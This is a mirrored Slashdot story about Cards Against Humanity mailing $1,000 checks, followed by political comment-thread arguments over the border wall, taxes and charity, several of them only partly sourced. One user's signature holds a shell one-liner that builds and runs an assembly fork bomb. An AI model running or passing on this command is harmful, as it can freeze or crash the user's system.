Slashdot Mirror
'Cards Against Humanity' Gives Out $1000 Checks (nbcchicago.com)
An anonymous reader writes: In November "Cards Against Humanity" announced "a complicated holiday promotion" where people paid $15 for six surprises in December. (For the first surprise in the Cards Against Humanity Saves America promotion, "we purchased a plot of vacant land on the border and retained a law firm specializing in eminent domain to make it as time-consuming and expensive as possible for Trump to build his wall.") The second surprise was the launch of a new podcast filled with positive news, and for the third surprise, they're redistributing the money people paid to join the event. "Most of our subscribers (about 140,000 people) got nothing today — they could have it worse. The next 10,000 subscribers received a full $15 refund of their Cards Against Humanity Saves America purchase. Finally, the poorest 100 people received a check for $1,000, paid for by everyone else."
A new web page shares stories from the grateful participants, and explains the site's careful methodology for determining who needed the $1,000 checks the most. ("We excluded all Canadians. They already have universal healthcare. They'll be fine.") It argues that wealth inequality is the biggest issue in the world, but "Our lawyers advised against our first choice — a campaign to eat all the rich people and live in their houses — so we settled for something more achievable."
A new web page shares stories from the grateful participants, and explains the site's careful methodology for determining who needed the $1,000 checks the most. ("We excluded all Canadians. They already have universal healthcare. They'll be fine.") It argues that wealth inequality is the biggest issue in the world, but "Our lawyers advised against our first choice — a campaign to eat all the rich people and live in their houses — so we settled for something more achievable."
They have created something.
They bought some land, split it into tiny parcels and organized the sale of those parcels to thousands of individuals. Now in order to seize the land that Trump wants to build it on the government will have to organize thousands of compulsory purchases (or whatever you call them in the US). Every single one can be contested.
They have created an effective legal barrier to the wall.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
FAQ: I’m poor and I’m mad that I didn’t get any money.
"Our bad. We had to guess how much money you had with limited data. The US government actually knows how much money you have and has trillions of dollars to redistribute. Why don’t you get mad at the US government?"
The top 1% pay 27% of taxes now, compared to 15% in 1979 when tax rates were higher. Meanwhile their share of income has increased from 9% to 18%
http://www.factcheck.org/2008/...
And the top 10% pay 72.7% of income taxes and 54.7% of all Federal taxrs. E.g. see page 7 here.
https://cbo.gov/sites/default/...
The top 20%, i.e. highest quintile, pay 86.3% of all income tax and 68.7% of all Federal taxes.
On the previous page you can see how the effective tax rate rises with income quintile, i.e. from 4% to 25%.
So how are the rich, at least the ones who remain, not paying their fair share?
And of course given that it's highly rational for people who are US taxpayers to stop being US tax payers by giving up citizenship. And for people who aren't US taxpayers to avoid become US taxpayers at all cost.
I.e. in general the US's progressive tax system is an incentive for rich people to avoid becoming US citizens or lose that citizenship if they have it.
Meanwhile the US benefits system, sloppy enforcement of immigration rules and easy availability of fake Social Security Numbers to allow illegal immigrants to claim benefits.
That's the problem with the left. Their intentions are good but they don't understand incentives. And if you get incentives wrong you won't get the result you want. See for example South American countries who ended up dirt poor despite electing politicians who had similarly good intentions to help the poor and tax the rich. And the end result was that you have countries like Venezuela and Cuba that would be pretty rich under a government that was only as bad as the US one. Actually the government is far worse and those countries are so poor people flee them for pretty much anywhere else.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In June 2016 John Oliver bought up $15M of medical debt and forgave it. There's details and a clip in this Guardian article.
The Wall in Israel dramatically reduced the number of murdered Israeli citizens by forcing the bombers and assassins through security checkpoints, where most are either caught or turn back.
Of all the things you can complain about, having a wall that physically separates the Israelis from a group of people whom 60% want to genocide them is not one of them.
Here you go. A few interesting takeaways:
1. Conservative households tend to make about 6% less than Liberal households, yet give 30% more to charity.
2. There are more "big donors" (those who give over $1000) among Conservatives than Liberals
3. In the 2012 Presidential election, the top 15 charitable States all voted for the GOP; the bottom 15 overwhelmingly (13 of 15) voted for the Democrats.
4. Religious people (usually more on the Conservative side of things) tend to overwhelmingly give to charities as compared to non-religious
5. Married people (who tend to be more conservative on average) give much more than unmarried people
6. The US by far and away is the most charitable nation on Earth
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
> Walls work temporarily, but eventually they fail. Look at all the walls of history, no ancient wall marks a modern border.
This is one of the dumbest statements I have ever read. You've noticed that structures don't last forever.
Let's make some observations based on your reasoning:
*Very few, if any, Roman aqueducts are still in use, therefore aqueducts don't work.
*Some ancient roads are still in use, but they probably can't handle heavy traffic from trucks or cars moving at 70 MPH. Therefore, roads don't work.
*Castles are no longer used as a means of defense. Therefore, fortifications are useless.